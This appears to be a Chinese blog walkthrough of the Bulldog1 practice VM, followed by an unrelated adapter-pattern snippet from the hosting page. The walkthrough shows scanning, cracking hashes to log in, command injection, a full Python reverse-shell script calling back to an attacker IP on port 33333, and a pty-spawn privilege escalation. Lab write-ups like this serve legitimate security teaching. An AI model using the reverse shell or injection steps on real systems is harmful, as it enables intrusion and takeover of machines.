Bulldog1

一、 收集信息

1、 扫描存活主机,找到目标机的ip
在这里插入图片描述
2、 扫描目标机的端口信息。
在这里插入图片描述
说明可以通过80或8080来访问它
3、 查看一些指纹信息
在这里插入图片描述
4、因为是自己搭的所以不需要被动收集

二、 web渗透

1、通过访问发现没有神什么可用信息,就两个页面,审查里面元素也没有可用信息。
在这里插入图片描述
在这里插入图片描述
2、 扫目录
在这里插入图片描述
在这里插入图片描述
扫出来目录不多,可以打开看看,也可以用自己的字典
多了一条
http://192.168.88.128/robots.txt

3、 自己尝试敏感目录

3.1、发现后台
在这里插入图片描述
3.1.1、尝试弱口令登录
结果失败
也可以爆破,但是用户名和密码都知道,很难。
3.1.2、审查元素
在这里插入图片描述
好像32md5,但是通过md5解不出来
最后发现浏览器不一样,这个值也不一样,感觉放弃
3.2、查看其他页面最终发现
在这里插入图片描述
3.2.1、解密md5
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
没钱的话,去其他网站解密
在这里插入图片描述
3.2.2、通过上面发现这两条md5的对应的是
在这里插入图片描述
3.2.3、猜测@前面的是他的账号,然后尝试登陆。
nick--------bulldog
sarah-------bulldoglover
在这里插入图片描述
登陆成功。
3.2.4、 再次访问web-shell页面
在这里插入图片描述
但是只能执行上面的命令。其他的命令不可以。所以需要获取shell
在这里插入图片描述

三、 获取shell

1、发现有命令注入
在这里插入图片描述
2、前面信息收集发现他是python写的,所以可以执行python脚本,我们用echo写一个python脚本,来反弹shell。

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.88.141",33333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

在这里插入图片描述
在这里插入图片描述
等等
3、然后在kali用nc监听33333端口,在执行pwd&1.py
在这里插入图片描述
执行pwd&1.py
在这里插入图片描述
4、 得到shell
在这里插入图片描述
5、 但是发现权限是不够的

四、 提权

1、查看用户信息
cat etc/passwd
在这里插入图片描述
发现这两个用户值得关注
2、看家目录
在这里插入图片描述
每个都进去查看
3、 最后发现
在这里插入图片描述
在这里插入图片描述
打开是数据流看不懂
在这里插入图片描述
利用strings查看可执行文件中的内容;(strings命令用来提取和显示非文本文件中的文本字符串)
在这里插入图片描述
得到:SUPERultHimatePASHSWORDyouHCANTget 尝试去掉其中的H
SUPERultimatePASSWORDyouCANTget
意思是:你得到了特别伪装的最终密码

4、 尝试密码
在这里插入图片描述
su命令不能执行;
用python命令打开一个新的终端,尝试进行提权,输入命令: python -c ‘import pty; pty.spawn("/bin/bash")’
在这里插入图片描述
提权成功

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
以下是双向适配器类图和实现代码: ![adapter-pattern](https://user-images.githubusercontent.com/45758449/116464798-0e07c280-a89d-11eb-8b3e-7c3a88b9c7d9.png) ```python # Target interface class Cat: def catch_mice(self) -> str: pass # Adaptee interface class Dog: def bark(self) -> str: pass # Adaptee class Bulldog(Dog): def bark(self) -> str: return "Woof! Woof!" # Adapter class DogAdapter(Cat): def __init__(self, dog: Dog): self.dog = dog def catch_mice(self) -> str: return self.dog.bark() # Client code if __name__ == "__main__": bulldog = Bulldog() cat = Cat() adapter = DogAdapter(bulldog) print(adapter.catch_mice()) # Output: Woof! Woof! ``` 在上面的代码中,我们有一个Target接口 `Cat`,它定义了一个`catch_mice()`方法,表示猫抓老鼠。我们还有一个Adaptee接口`Dog`,它定义了一个`bark()`方法,表示狗叫。`Bulldog`是`Dog`接口的一个具体实现。 现在我们需要一个适配器类`DogAdapter`来使得猫可以学狗叫。它实现了`Cat`接口,并将`Dog`对象作为适配器构造函数的参数。在`catch_mice()`方法中,它调用`Dog`对象的`bark()`方法来模拟狗叫声。 在客户端代码中,我们创建了一个`Bulldog`对象和一个`Cat`对象。然后我们创建了一个`DogAdapter`对象,并将`Bulldog`对象传递给它。最后,我们通过适配器对象调用`catch_mice()`方法,并输出适配的结果。 这就是双向适配器模式的一个简单实现。当然,你可以根据自己的需求和场景来进行改进和扩展。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值